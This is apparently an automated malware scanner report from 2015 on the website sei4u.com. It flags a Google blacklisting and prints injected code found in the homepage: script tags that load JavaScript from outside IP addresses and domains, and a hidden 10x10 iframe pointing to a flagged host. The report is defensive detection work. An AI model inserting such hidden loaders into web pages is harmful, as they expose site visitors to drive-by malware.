New scan:

Malware Scanner report for sei4u.com

Malicious/Suspicious/Total urls checked
1/0/7
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "sei4u.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
1/0/1
1 malicious iframe found. See details below
Deface / Content modification
OK

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Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=sei4u.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://sei4u.com/
200 OK
Content-Length: 5977
Content-Type: text/html
malicious
Page code contains blacklisted domain: 60.32.213.44

...[4545 bytes skipped]...
mg').toggle();
$(this).children('ul').toggle();
},
function(){
$(this).find('img').toggle();
$(this).children('ul').toggle();
});

});
</script>
<script language=javascript src=http://advtech.co.kr/board/upload/right.gif></script><script language=javascript src=http://advtech.co.kr/board/upload/right.js></script><script type="text/javascript" src="http://60.32.213.44/mail/holder.js"></script><iframe src=http://121.138.184.231/ttt/sty.htm width=10 height=10></iframe><script type="text/javascript" src="http://121.67.183.105:83/MEDIA/holder.js"></script>

Malicious iFrame found.
size: 10x10     
src: http://121.138.184.231/ttt/sty.htm
This URL is marked by Google as suspicious

<iframe src=http://121.138.184.231/ttt/sty.htm width=10 height=10>

http://sei4u.com/jquery.js
200 OK
Content-Length: 236202
Content-Type: application/javascript
clean
http://advtech.co.kr/board/upload/right.gif
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://advtech.co.kr/test404page.js
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://advtech.co.kr/board/upload/right.js
404 Not Found
Content-Length: 1466
Content-Type: text/html
clean
http://60.32.213.44/mail/holder.js
404 Not Found
Content-Length: 1621
Content-Type: text/html
clean
http://121.67.183.105:83/MEDIA/holder.js
404 Not Found
Content-Length: 314
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: sei4u.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 03 Mar 2015 19:32:17 GMT
Server: Apache
Content-Type: text/html
Second query (visit from search engine):
GET / HTTP/1.1
Host: sei4u.com
Referer: http://www.google.com/search?q=sei4u.com

Result:
The result is similar to the first query. There are no suspicious redirects found.